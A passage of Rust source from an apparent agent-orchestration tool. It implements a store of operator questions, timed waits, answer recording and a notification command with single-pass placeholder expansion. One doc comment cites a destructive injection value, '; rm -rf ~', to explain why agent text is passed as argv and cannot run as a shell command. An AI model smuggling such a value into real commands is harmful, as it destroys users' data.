1757            && let Some(target) = crate::release_watch::approval_target(home, &q)
1758            && let Ok((current, ())) = self.update_in(&q.id, ownership, |current| {
1759                if current.status.open() && current.merge_target.is_none() {
1760                    current.merge_target = Some(target.clone());
1761                }
1762                Ok(())
1763            })
1764        {
1765            q = current;
1766        }
1767        if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1768            && q.node == crate::land::APPROVAL_NODE
1769            && !self.held_reply_in(&q.id, ownership)
1770            && let Some(home) = self.root.parent()
1771            && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1772        {
1773            let mut upgraded = q.clone();
1774            if crate::land::upgrade_repair_choice(&mut upgraded, &state) {
1775                match self.update_in(&q.id, ownership, |current| {
1776                    crate::land::upgrade_repair_choice(current, &state);
1777                    Ok(())
1778                }) {
1779                    Ok((current, ())) => return current,
1780                    Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1781                }
1782            }
1783        }
1784        q
1785    }
1786
1787    /// Every question on disk: open first, then newest first.
1788    ///
1789    /// Open first because that ordering is the product - the list exists to
1790    /// show the operator what has stopped, and an answered question is history
1791    /// underneath it. Unreadable files are skipped rather than fatal: one
1792    /// corrupt question must not take the web UI down, and must certainly not
1793    /// hide the open question the operator was looking for.
1794    pub fn list(&self) -> Vec<Question> {
1795        self.list_view(false)
1796    }
1797
1798    /// Execution-only scan; presentation must retain immutable source answers.
1799    pub fn list_for_effects(&self) -> Vec<Question> {
1800        self.list_view(true)
1801    }
1802
1803    fn list_view(&self, effects: bool) -> Vec<Question> {
1804        self.list_view_in(effects, &crate::task_chat::InquiryOwnership::default())
1805    }
1806
1807    pub(crate) fn list_for_effects_in(
1808        &self,
1809        ownership: &crate::task_chat::InquiryOwnership,
1810    ) -> Vec<Question> {
1811        self.list_view_in(true, ownership)
1812    }
1813
1814    fn list_view_in(
1815        &self,
1816        effects: bool,
1817        ownership: &crate::task_chat::InquiryOwnership,
1818    ) -> Vec<Question> {
1819        #[cfg(test)]
1820        QUESTION_SCANS.with(|count| count.set(count.get() + 1));
1821        // Parse the immutable boundary once per scan, rather than once per file.
1822        let sources = self.root.parent().map(crate::task_chat::migration_sources);
1823        let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1824            .into_iter()
1825            .flatten()
1826            .flatten()
1827            .map(|e| e.path())
1828            .filter(|p| p.extension().is_some_and(|x| x == "json"))
1829            .filter_map(|p| read_path(&p).ok())
1830            .map(|q| {
1831                let migrated = match &sources {
1832                    Some(Ok(Some(ids))) => ids.contains(&q.id),
1833                    Some(_) => true,
1834                    None => false,
1835                };
1836                let q = self.with_repair_choice_in(q, ownership);
1837                if effects {
1838                    self.consumption_view_in(q, migrated, ownership)
1839                } else {
1840                    q
1841                }
1842            })
1843            .collect();
1844        all.sort_unstable_by(|a, b| {
1845            let rank = |q: &Question| u8::from(!q.status.open());
1846            rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1847        });
1848        all
1849    }
1850
1851    /// Strict read-only snapshot for control transactions. Unlike the UI
1852    /// list, this neither upgrades question choices nor skips unreadable
1853    /// records that might contain an unresolved owner decision.
1854    pub(crate) fn snapshot(&self) -> Result<Vec<Question>> {
1855        let entries = match std::fs::read_dir(&self.root) {
1856            Ok(entries) => entries,
1857            Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Ok(Vec::new()),
1858            Err(error) => return Err(error).context("inspect pending questions"),
1859        };
1860        let mut questions = Vec::new();
1861        for entry in entries {
1862            let path = entry?.path();
1863            if path.extension().is_some_and(|ext| ext == "json") {
1864                questions.push(read_path(&path)?);
1865            }
1866        }
1867        Ok(questions)
1868    }
1869
1870    /// Open questions belonging to one run, newest first.
1871    ///
1872    /// Used to decide whether a parked run can be resumed: while this is
1873    /// non-empty, nothing about the run has changed and no agent should be
1874    /// spawned for it.
1875    pub fn open_for(&self, run: &str) -> Vec<Question> {
1876        self.list_for_effects()
1877            .into_iter()
1878            .filter(|q| q.status.open() && q.run == run)
1879            .collect()
1880    }
1881
1882    /// Abandon every open question belonging to a run, and report how many.
1883    ///
1884    /// Called when a run's record is deleted. The agent that asked died with
1885    /// the run, so there is nobody left to hand an answer to, and a question
1886    /// left open would keep asking the operator for a decision that can no
1887    /// longer be delivered - the phone showed exactly that: "auth.rs というファ
1888    /// イルが見つかりません" with two buttons, for a run whose directory had
1889    /// been gone for two hours.
1890    ///
1891    /// Abandoned rather than deleted, because [`Question::abandon`] already
1892    /// means "this can no longer be answered" and the record of having asked
1893    /// is worth keeping. Answered questions are left exactly as they are.
1894    pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1895        let mut abandoned = 0;
1896        for mut q in self.open_for(run) {
1897            if self.held_reply(&q.id) {
1898                continue;
1899            }
1900            q.abandon(why);
1901            self.put(&mut q)?;
1902            abandoned += 1;
1903        }
1904        Ok(abandoned)
1905    }
1906
1907    /// Abandon a run's open questions once `status` says the run is not
1908    /// coming back, worded with what it actually became.
1909    ///
1910    /// The run-deleted case above and this one are the same fact - nobody is
1911    /// left to read an answer - reached by two different doors. This is the
1912    /// one for a run that finished on its own: merged, reached `Ready` with
1913    /// nothing left to do, failed outright with no established point to
1914    /// resume from, or every candidate agreed, with evidence, that nothing
1915    /// belonged in the worktree. Those are exactly the statuses
1916    /// [`RunStatus::resumable`]
1917    /// excludes, and that is the line this draws too - deliberately not
1918    /// [`RunStatus::done`], which also counts `Blocked` and `Stalled` as
1919    /// over. Both of those can still be picked back up with the candidates,
1920    /// the review round and the seat sessions already on disk, so a question
1921    /// asked mid-round may yet get a real answer from a real resume, and
1922    /// folding it here would be exactly the mistake this function exists to
1923    /// avoid on the other side - answering back into a run that no longer
1924    /// exists to read it.
1925    ///
1926    /// A no-op, not an error, when `status` is still resumable or when there
1927    /// was nothing open to begin with - callers reach this from more than one
1928    /// place a run can settle, and a second call finding nothing left to
1929    /// abandon is the expected case, not a bug.
1930    pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1931        if status.resumable() {
1932            return Ok(0);
1933        }
1934        let why = format!(
1935            "run {run} {}, so nothing is waiting for this answer",
1936            status.as_str()
1937        );
1938        // A post-merge notice is the exception: it is filed *because* the run
1939        // merged, and no agent waits on it - it is a to-do for the owner, not
1940        // a question a dead seat asked. Abandoning it here would erase the
1941        // only alert the moment the run settles.
1942        let mut abandoned = 0;
1943        for mut q in self.open_for(run) {
1944            if self.held_reply(&q.id) || q.node == crate::bump::NOTICE_NODE {
1945                continue;
1946            }
1947            // A routed task decision not yet delivered is a pending message
1948            // for the chat, not a question the dead seat waits on; the
1949            // sweep retires it once it is queued.
1950            if q.routed_task.is_some() && q.routed_chat.is_none() {
1951                continue;
1952            }
1953            q.abandon(&why);
1954            self.put(&mut q)?;
1955            abandoned += 1;
1956        }
1957        Ok(abandoned)
1958    }
1959
1960    /// Expand an id prefix to exactly one question id. The short id the phone
1961    /// and the reports show is a suffix, so that is accepted too.
1962    pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1963        use crate::queue::{Reference, record_ids, resolve_reference};
1964        let ids = record_ids(&self.root, "json")?;
1965        match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1966            Reference::Found(id) => Ok(id),
1967            Reference::Missing => bail!("no question matches `{prefix}`"),
1968            Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1969        }
1970    }
1971
1972    /// Newest modification time in the store, in milliseconds, for change
1973    /// detection. The web UI compares this instead of re-reading every
1974    /// question, so an idle phone on a slow link costs one `stat` per file.
1975    pub fn revision(&self) -> u64 {
1976        std::fs::read_dir(&self.root)
1977            .into_iter()
1978            .flatten()
1979            .flatten()
1980            .filter_map(|e| e.metadata().ok())
1981            .filter_map(|m| m.modified().ok())
1982            .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1983            .map(|d| d.as_millis() as u64)
1984            .max()
1985            .unwrap_or(0)
1986    }
1987
1988    /// How many questions are open, whichever side of the conversation is
1989    /// holding the ball right now. Ten turns of back and forth between the
1990    /// owner and the agent are still one open question - see
1991    /// [`Question::say`] - so this does not drop while a reply is in
1992    /// flight. [`Self::count_needs_owner`] is the number that does.
1993    pub fn count_open(&self) -> usize {
1994        self.list().iter().filter(|q| q.status.open()).count()
1995    }
1996
1997    /// How many open questions actually need the owner right now: open, and
1998    /// not [`Question::waiting_on_agent`], or the follow-up is exhausted.
1999    ///
2000    /// This is the number a notification channel owes - the ask bar, the nav
2001    /// badge, the document title - because those exist to say "something
2002    /// needs you". An unread say stops needing the agent once its follow-up
2003    /// has spent its starts. `count_open` stays as it is for [`Self::open_for`]'s callers,
2004    /// where a round trip must not look like the run resumed.
2005    pub fn count_needs_owner(&self) -> usize {
2006        self.list()
2007            .iter()
2008            .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
2009            .count()
2010    }
2011
2012    /// The follow-up spent its starts and its final turn is no longer alive.
2013    /// Computed from the lease rather than saved with the question, so the
2014    /// owner can decide even when an unread message remains in the thread.
2015    pub fn deputy_exhausted(&self, q: &Question) -> bool {
2016        q.status.open()
2017            && q.deputy
2018                .as_ref()
2019                .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
2020            && !self
2021                .read_lease(&q.id)
2022                .is_some_and(|l| l.fresh(Timestamp::now()))
2023    }
2024}
2025
2026/// How a wait over [`Question`] ended.
2027#[derive(Debug, Clone, PartialEq, Eq)]
2028pub enum Wait {
2029    /// The owner decided. Carries [`Question::resolution`].
2030    Answered(String),
2031    /// The owner spoke back without deciding - see [`Question::say`]. The
2032    /// question is still [`QuestionStatus::Open`] and carries no [`Answer`];
2033    /// the caller's move is to hand this text to the agent and let it call
2034    /// `magi ask --thread` to keep talking, not to treat it as a decision.
2035    Replied(String),
2036    /// This call's [`WAIT_SLICE`] ran out with the question still
2037    /// [`QuestionStatus::Open`] and nothing having happened - not the owner
2038    /// going quiet, the clock on *this process* running out. The question is
2039    /// untouched; the caller's move is `magi ask --wait <id>` in a fresh
2040    /// process, so the wait resumes before the shell tool that would have
2041    /// killed this one gets the chance.
2042    Pending,
2043    /// Nobody said anything before the deadline, or the question was closed
2044    /// out from under the wait with no decision recorded - a run deleted out
2045    /// from under it, most often. Either way [`QuestionStatus::Abandoned`] is
2046    /// now on disk.
2047    Abandoned,
2048}
2049
2050/// File a question and wait for the owner, polling the store.
2051///
2052/// The question is updated in place from disk whenever the wait ends, so the
2053/// caller can act on it without re-reading it. `timeout` is the question's
2054/// whole `answer_timeout` budget, but this call spends at most [`WAIT_SLICE`]
2055/// of it - see [`Wait::Pending`] for what happens to the rest.
2056pub async fn ask_and_wait(
2057    q: &mut Question,
2058    store: &Questions,
2059    notify: &config::Notify,
2060    timeout: Duration,
2061) -> Result<Wait> {
2062    wait_for_owner(q, store, notify, timeout, POLL).await
2063}
2064
2065/// Resume a wait already filed, without adding a turn or notifying again.
2066///
2067/// This is `magi ask --wait <id>`'s engine: the process that owned the
2068/// previous slice is dead (the tool that ran it killed it, or it simply
2069/// exited after reporting [`Wait::Pending`]), but the question on disk never
2070/// stopped being open, and the owner was already notified about it once. A
2071/// second notification for the same unanswered question would page the
2072/// owner every [`WAIT_SLICE`] for a question they have already seen - so,
2073/// unlike [`ask_and_wait`], this skips straight to polling.
2074///
2075/// `timeout` is **not** re-armed to a fresh `answer_timeout` here - the
2076/// caller computes it as what remains until [`Question::asked_at`] plus the
2077/// configured `answer_timeout`, so stacking `--wait` calls can only ever use
2078/// up the deadline the first ask set, never push it out further.
2079pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
2080    wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
2081}
2082
2083/// [`ask_and_wait`] with the poll interval injected.
2084///
2085/// Separate only so the tests can drive a whole wait in milliseconds instead of
2086/// sleeping through [`POLL`]; production has exactly one interval, and it is not
2087/// a knob the operator gets to tune.
2088async fn wait_for_owner(
2089    q: &mut Question,
2090    store: &Questions,
2091    cfg: &config::Notify,
2092    timeout: Duration,
2093    poll: Duration,
2094) -> Result<Wait> {
2095    // A question that is already on disk (a `--thread` reply just wrote it under
2096    // the lock) is left alone: this copy may predate an answer or say that
2097    // landed since, and writing it back would erase that.
2098    if !store.path_of(&q.id).is_file() {
2099        store.put(q).context("file the question")?;
2100    }
2101    if q.should_notify(Timestamp::now()) {
2102        if let Err(e) = notify(cfg, q).await {
2103            // A broken webhook is not a reason to throw away an implementation.
2104            // The question is already on disk and the web UI already shows it,
2105            // so the operator still has a way in; only the tap on the shoulder
2106            // is lost.
2107            tracing::warn!(
2108                "could not notify about question {}: {e:#} - the web UI is the \
2109                 only surface for it now",
2110                q.short()
2111            );
2112        }
2113    }
2114    tracing::info!(
2115        "question {} from {} is waiting for you: {}",
2116        q.short(),
2117        q.seat,
2118        q.summary
2119    );
2120    wait_loop(q, store, timeout, WAIT_SLICE, poll).await
2121}
2122
2123/// Take the wait as this process: beat the lease and note it on the record.
2124fn hold(store: &Questions, id: &str) {
2125    store.beat(id, WaiterKind::Asker);
2126    let took = store.update(id, |q| {
2127        if q.status.open() {
2128            q.waiter = Some(Waiter {
2129                kind: WaiterKind::Asker,
2130                since: Timestamp::now(),
2131            });
2132        }
2133        Ok(())
2134    });
2135    if let Err(e) = took {
2136        tracing::debug!("could not note the wait on question {id}: {e:#}");
2137    }
2138}
2139
2140/// Record the owner's `magi answer --reply` on question `id` (a full id) and
2141/// return what to print. The terminal's direct path and a chat turn's control
2142/// bridge ([`crate::chat_control::Operation::Answer`]) both land here, so a
2143/// chat answer is the same ordinary answer whatever the turn's sandbox.
2144///
2145/// A choice reply is resolved against the offered labels; a free-text question
2146/// takes the reply verbatim. `title` is the literal replacement for the posting
2147/// gate's `use my text` choice and is refused anywhere else. Side effects of
2148/// the answer itself (an obsolete approval's dismissal saving its run record)
2149/// happen in [`Questions::update`]; existing consumers act on the rest.
2150pub fn record_answer(
2151    store: &Questions,
2152    id: &str,
2153    reply: &str,
2154    title: Option<&str>,
2155) -> Result<String> {
2156    let home = store
2157        .root()
2158        .parent()
2159        .context("questions have no state home")?;
2160    let queue = crate::queue::Queue::at(home.join("queue"));
2161    let question = store.get(id)?;
2162    let _claims = crate::chat_control::decision_claims(&queue, &question)?;
2163    let (q, ()) = store.update(id, |r| {
2164        let answer = if r.free_text() {
2165            Answer::Text(reply.to_owned())
2166        } else {
2167            Answer::Choice(r.resolve_reply(reply)?.to_owned())
2168        };
2169        let replacement = r.node == crate::github_text::ASK_NODE
2170            && matches!(&answer, Answer::Choice(choice) if choice == crate::github_text::USE_MY_TEXT);
2171        if replacement {
2172            let title =
2173                title.context("use my text needs --title with the literal replacement title")?;
2174            if title.trim().is_empty() {
2175                bail!("replacement title must not be empty");
2176            }
2177            r.publication_title = Some(title.to_owned());
2178        } else if title.is_some() {
2179            bail!("--title is only valid for a publication decision's `use my text` choice");
2180        }
2181        r.answer(answer)
2182    })?;
2183    let mut out = format!("answered {} {}", q.short(), q.summary);
2184    let resolution = q.resolution();
2185    let approval = q.node == crate::land::APPROVAL_NODE;
2186    if approval && resolution.as_deref() == Some(crate::merge_decision::DISMISS) {
2187        out.push_str(
2188            "\nObsolete approval ended; its execution is retired, history retained and PR unchanged. No merge or replacement was authorized.",
2189        );
2190    }
2191    if approval
2192        && resolution.as_deref() != Some(crate::merge_decision::DISMISS)
2193        && resolution
2194            .as_deref()
2195            .is_some_and(crate::merge_decision::stops)
2196    {
2197        out.push_str(&format!(
2198            "\nDecision recorded; the existing owner must resume to apply it. This answer command has not closed a PR, dispatched replacement work or approved a merge. A running magi serve / magi web resumes the parked owner; otherwise use `magi run --resume {}`. Do not create another task.",
2199            q.run
2200        ));
2201    }
2202    if approval && resolution.as_deref() == Some(crate::land::REPAIR) {
2203        out.push_str(&format!(
2204            "\nRepair requested; this answer command has not started repair or approved a merge. \
2205             A running magi serve / magi web resumes the existing run. Without one, \
2206             run `magi run --resume {}` to start repair and re-review; do not create another task or run.",
2207            q.run
2208        ));
2209    }
2210    Ok(out)
2211}
2212
2213/// Record that the agent has read everything so far, so the daemon waiter does
2214/// not resume a session to tell it what was already printed.
2215///
2216/// Callers must invoke this only **after** the word reached the agent's stdout:
2217/// marking first would let a tool timeout kill the process between the mark
2218/// and the print, and the waiter would then consider a word delivered that no
2219/// agent ever saw.
2220pub fn hand_over(store: &Questions, q: &mut Question) {
2221    let done = store.update(&q.id, |r| {
2222        r.delivered_turns = r.delivered_turns.max(q.thread.len());
2223        if r.status == QuestionStatus::Answered {
2224            r.answer_delivered = true;
2225        }
2226        r.waiter = None;
2227        Ok(())
2228    });
2229    match done {
2230        Ok((fresh, ())) => *q = fresh,
2231        Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
2232    }
2233}
2234
2235/// What the agent is shown for an answer: the owner's says it has not read
2236/// yet, in order, then the answer. With no such say it is `answer` itself,
2237/// byte for byte.
2238pub fn answer_for_agent(q: &Question, answer: &str) -> String {
2239    let says = q.undelivered_owner_turns();
2240    if says.is_empty() {
2241        return answer.to_owned();
2242    }
2243    format!(
2244        "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
2245        says.join("\n\n")
2246    )
2247}
2248
2249/// Print an answer (with any unread says before it) to `out`, flush, and only
2250/// then record the hand-over. A failed write marks nothing delivered.
2251pub fn deliver_answer(
2252    store: &Questions,
2253    q: &mut Question,
2254    answer: &str,
2255    out: &mut impl std::io::Write,
2256) -> std::io::Result<()> {
2257    writeln!(out, "{}", answer_for_agent(q, answer))?;
2258    out.flush()?;
2259    hand_over(store, q);
2260    Ok(())
2261}
2262
2263/// The polling loop shared by a fresh wait and a resumed one.
2264///
2265/// `timeout` is the budget left before the question's `answer_timeout`
2266/// truly runs out; `slice` bounds how much of that this one call spends
2267/// before handing control back. Landing on `slice` while `timeout` still has
2268/// budget left is [`Wait::Pending`] - the caller's move, not the owner's
2269/// silence. Landing on `timeout` itself - because it was no bigger than
2270/// `slice` to begin with - is the real thing, and abandons the question
2271/// exactly as a single unsliced wait always did.
2272async fn wait_loop(
2273    q: &mut Question,
2274    store: &Questions,
2275    timeout: Duration,
2276    slice: Duration,
2277    poll: Duration,
2278) -> Result<Wait> {
2279    if store.held_reply(&q.id) {
2280        return Ok(Wait::Pending);
2281    }
2282    // The owner may already have spoken back before this call ever started -
2283    // most often because they did so in the gap between an earlier call
2284    // reporting `Wait::Pending` and this one picking the wait back up with
2285    // `--wait`. That word must surface at once rather than sit unnoticed
2286    // until some *later* turn happens to change something: this call never
2287    // saw it get added, so nothing below would otherwise recognise it as
2288    // new. `last_word_awaiting_reply` reads the question's own record of
2289    // whose turn it is - see [`Question::waiting_on_agent`] - rather than a
2290    // turn count this call would have to have been there to capture.
2291    if let Some(said) = q.unread_from_owner() {
2292        return Ok(Wait::Replied(said));
2293    }
2294    hold(store, &q.id);
2295
2296    let bounded = timeout.min(slice);
2297    let is_the_real_deadline = bounded >= timeout;
2298    let deadline = tokio::time::Instant::now() + bounded;
2299    loop {
2300        let now = tokio::time::Instant::now();
2301        if now >= deadline {
2302            if store.held_reply(&q.id) || !is_the_real_deadline {
2303                // The lease is left to age out on purpose: the caller is about
2304                // to run `magi ask --wait`, and that gap is what LEASE_TTL
2305                // covers.
2306                return Ok(Wait::Pending);
2307            }
2308            let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
2309            // Re-checked on the record as it is now: the owner may have said
2310            // something in time since the last poll, and that word is handed
2311            // over, not abandoned.
2312            let (fresh, unread) = store
2313                .update(&q.id, |r| {
2314                    let unread = r.unread_from_owner();
2315                    if unread.is_none() {
2316                        r.abandon(&why);
2317                        r.waiter = None;
2318                    }
2319                    Ok(unread)
2320                })
2321                .context("record the abandoned question")?;
2322            *q = fresh;
2323            if let Some(said) = unread {
2324                return Ok(Wait::Replied(said));
2325            }
2326            tracing::warn!(
2327                "question {} went unanswered for {}s; the run parks and the \
2328                 question stays as the record of it",
2329                q.short(),
2330                timeout.as_secs()
2331            );
2332            return Ok(Wait::Abandoned);
2333        }
2334        tokio::time::sleep(poll.min(deadline - now)).await;
2335        store.beat(&q.id, WaiterKind::Asker);
2336        match store.get_for_effects(&q.id) {
2337            Ok(fresh) if !fresh.status.open() => {
2338                // Whoever answered - the phone, `magi answer`, another daemon -
2339                // owns the record now, so adopt theirs wholesale rather than
2340                // merging into a copy that predates it.
2341                *q = fresh;
2342                return Ok(match q.resolution() {
2343                    Some(a) => Wait::Answered(a),
2344                    // Closed with no decision - abandoned elsewhere, most
2345                    // often by the run behind it being deleted mid-wait.
2346                    None => Wait::Abandoned,
2347                });
2348            }
2349            Ok(fresh) => {
2350                if let Some(said) = fresh.unread_from_owner() {
2351                    *q = fresh;
2352                    return Ok(Wait::Replied(said));
2353                }
2354                // Still open and not waiting on the agent - nothing this
2355                // wait cares about happened, so keep polling.
2356            }
2357            Err(e) => {
2358                // Mid-rename, or a file the operator is editing by hand.
2359                // Neither is a reason to abandon a question a human may still
2360                // answer, so keep polling until the deadline decides.
2361                tracing::debug!("could not re-read question {}: {e:#}", q.short());
2362            }
2363        }
2364    }
2365}
2366
2367/// Run the operator's notification command, if one is configured.
2368///
2369/// The command is argv, never a shell string, and the substitutions below are a
2370/// single pass over each argument: a summary containing `; rm -rf ~` is one
2371/// argument to one program, and a summary containing the characters `{run}` is
2372/// not re-expanded. That property is the reason agent-authored text can be put
2373/// in a notification at all.
2374///
2375/// An error here is reported, not swallowed, so `magi notify --test` can show
2376/// the operator why nothing arrives. The waiting path logs it and carries on.
2377pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
2378    if q.routed_task.is_some() {
2379        return Ok(());
2380    }
2381    let mut summary = format!("Question {}: {}", q.short(), q.summary.trim());
2382    if q.status.open() {
2383        summary.push_str(&format!(
2384            " Respond in Questions or with `magi answer {}`.",
2385            q.id
2386        ));
2387    }
2388    let url = question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default());
2389    notify_at(cmd, &q.run, &summary, &url).await
2390}
2391
2392/// [`notify`] for an event that is not a question: the same command, the same
2393/// placeholders, with `summary` and `run` supplied directly.
2394pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
2395    let url = view_url(
2396        &std::env::var(WEB_URL_ENV).unwrap_or_default(),
2397        "notifications",
2398    );
2399    notify_at(cmd, run, summary, &url).await
2400}
2401
2402async fn notify_at(cmd: &config::Notify, run: &str, summary: &str, url: &str) -> Result<()> {
2403    let Some((program, args)) = cmd.command.split_first() else {
2404        // No command configured: the web UI is the only surface, by choice.
2405        return Ok(());
2406    };
2407    if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
2408        tracing::warn!(
2409            "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
2410             so the link will be empty - export it next to `magi serve` with \
2411             the address `magi web --open` printed"
2412        );
2413    }
2414    let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, url)).collect();
2415    tracing::debug!(program = %program, args = ?argv, "notifying");
2416
2417    let mut child = tokio::process::Command::new(program);
2418    child.quiet();
2419    child
2420        .args(&argv)
2421        .stdin(std::process::Stdio::null())
2422        // Killed if the timeout below drops this future: a notification
2423        // command left running would outlive the run it was announcing.
2424        .kill_on_drop(true);
2425    let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
2426        Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
2427        Err(_) => bail!(
2428            "notification command `{program}` did not finish within {}s",
2429            NOTIFY_TIMEOUT.as_secs()
2430        ),
2431    };
2432    if !out.status.success() {
2433        let stderr = String::from_utf8_lossy(&out.stderr);
2434        let why = stderr
2435            .lines()
2436            .rev()
2437            .find(|l| !l.trim().is_empty())
2438            .unwrap_or("no output on stderr")
2439            .trim();
2440        bail!(
2441            "notification command `{program}` exited with {}: {why}",
2442            out.status
2443        );
2444    }
2445    Ok(())
2446}
2447
2448/// Substitute `{summary}`, `{run}` and `{url}` into one argument.
2449///
2450/// One left-to-right pass, so a substituted value is never scanned for further
2451/// placeholders. Agent prose contains braces, and an agent quoting `{summary}`
2452/// in a question must not make the notification recursive.
2453fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
2454    let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
2455    let mut out = String::with_capacity(template.len());
2456    let mut rest = template;
2457    while let Some(at) = rest.find('{') {
2458        out.push_str(&rest[..at]);
2459        let tail = &rest[at..];
2460        match table.iter().find(|(token, _)| tail.starts_with(token)) {
2461            Some((token, value)) => {
2462                out.push_str(value);
2463                rest = &tail[token.len()..];
2464            }
2465            None => {
2466                // Not a placeholder magi knows: it is the operator's own text.
2467                out.push('{');
2468                rest = &tail[1..];
2469            }
2470        }
2471    }
2472    out.push_str(rest);
2473    out
2474}
2475
2476/// Point a configured base URL at the view that can answer the question.
2477///
2478/// A notification the operator has to navigate from is a question that stays
2479/// unanswered until morning, so the questions view is appended - unless the
2480/// operator already wrote a fragment, in which case they have said where they
2481/// want to land and magi does not know better.
2482fn question_url(base: &str) -> String {
2483    view_url(base, "questions")
2484}
2485
2486fn view_url(base: &str, view: &str) -> String {
2487    let base = base.trim().trim_end_matches('/');
2488    if base.is_empty() || base.contains('#') {
2489        return base.to_owned();
2490    }
2491    format!("{base}/#/{view}")
2492}
2493
2494/// Assemble a panel's contents in an already-empty directory.
2495///
2496/// Split out so [`Questions::put_panel`] can delete the whole directory on the
2497/// first error without an early `return` skipping that cleanup.
2498fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
2499    let index = dir.join(PANEL_HTML);
2500    std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
2501    for (name, src) in assets {
2502        let dst = dir.join(name);
2503        std::fs::copy(src, &dst)
2504            .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
2505    }
2506    Ok(())
2507}
2508
2509/// Remove a directory and everything under it, treating "not there" as done.
2510///
2511/// A panel is replaced wholesale and dropped idempotently, and in both cases
2512/// the absence of the directory is the desired end state, not an error.
2513fn clear_dir(path: &Path) -> Result<()> {
2514    match std::fs::remove_dir_all(path) {
2515        Ok(()) => Ok(()),
2516        Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
2517        Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
2518    }
2519}
2520
2521fn read_path(path: &Path) -> Result<Question> {
2522    let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
2523    let q: Question =
2524        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2525    if q.schema > SCHEMA {
2526        // Strictly newer, not merely different: every field added since
2527        // schema 1 carries `#[serde(default)]`, so an *older* schema reads
2528        // here as "no thread yet" rather than as garbage. Only a schema this
2529        // build has never heard of is refused.
2530        bail!(
2531            "question {} was written by a newer magi (schema {}, this build \
2532             only speaks up to {SCHEMA})",
2533            q.id,
2534            q.schema
2535        );
2536    }
2537    Ok(q)
2538}
2539
2540/// [`short`] for callers outside this module (a run id shortens the same way).
2541pub fn short_id(id: &str) -> &str {
2542    short(id)
2543}
2544
2545fn short(id: &str) -> &str {
2546    id.split('-').next_back().unwrap_or(id)
2547}
2548
2549fn new_id() -> String {
2550    let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
2551    new_id_at(&stamp.to_string(), crate::rng::entropy())
2552}
2553
2554fn new_id_at(stamp: &str, seed: u64) -> String {
2555    // Questions can be created concurrently in one shared store. A 16-bit
2556    // suffix is only a display label, not enough identity to keep distinct
2557    // questions (and their panel scratch directories) from overwriting each
2558    // other. The counter also separates calls with identical clock entropy.
2559    static NEXT: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0);
2560    let sequence = NEXT.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
2561    format!(
2562        "{stamp}-{seed:016x}-{sequence:016x}-{:04x}",
2563        (seed ^ (seed >> 32)) & 0xffff
2564    )
2565}
2566
2567#[cfg(test)]
2568mod tests {
2569    use super::*;
2570
2571    /// A store of its own, with no process-global state - which is the point of
2572    /// `Questions::at`, and why these can run in parallel.
2573    fn store() -> (tempfile::TempDir, Questions) {
2574        let dir = tempfile::tempdir().unwrap();
2575        let s = Questions::at(dir.path().join("questions"));
2576        (dir, s)
2577    }
2578
2579    #[test]
2580    fn run_names_task_only_for_task_questions() {
2581        for (node, want) in [
2582            (crate::conduct::NODE, true),
2583            (crate::triage::NODE, true),
2584            (crate::triage::DEPS_NODE, true),
2585            (crate::land::APPROVAL_NODE, false),
2586            (crate::bump::NOTICE_NODE, false),
2587            ("implement", false),
2588        ] {
2589            let mut q = choice_question();
2590            q.node = node.to_owned();
2591            assert_eq!(q.run_names_task(), want, "{node}");
2592        }
2593    }
2594
2595    #[test]
2596    fn deleting_a_run_stops_its_questions_asking() {
2597        let (_dir, store) = store();
2598
2599        let mut open_one = choice_question();
2600        store.put(&mut open_one).unwrap();
2601        let mut answered = free_question();
2602        answered
2603            .answer(Answer::Text("keep this".to_owned()))
2604            .unwrap();
2605        store.put(&mut answered).unwrap();
2606        let mut elsewhere = choice_question();
2607        elsewhere.run = "20260903-105039-3cbf".to_owned();
2608        store.put(&mut elsewhere).unwrap();
2609
2610        let n = store
2611            .abandon_for_run(&open_one.run, "run was deleted")
2612            .unwrap();
2613        assert_eq!(n, 1, "only the open question of that run");
2614
2615        let back = store.get(&open_one.id).unwrap();
2616        assert!(!back.status.open(), "it no longer asks for a decision");
2617        assert!(
2618            back.detail.contains("run was deleted"),
2619            "the operator can see why: {}",
2620            back.detail
2621        );
2622
2623        let kept = store.get(&answered.id).unwrap();
2624        assert_eq!(
2625            kept.status,
2626            QuestionStatus::Answered,
2627            "an answered question is a decision on record, not something to revoke"
2628        );
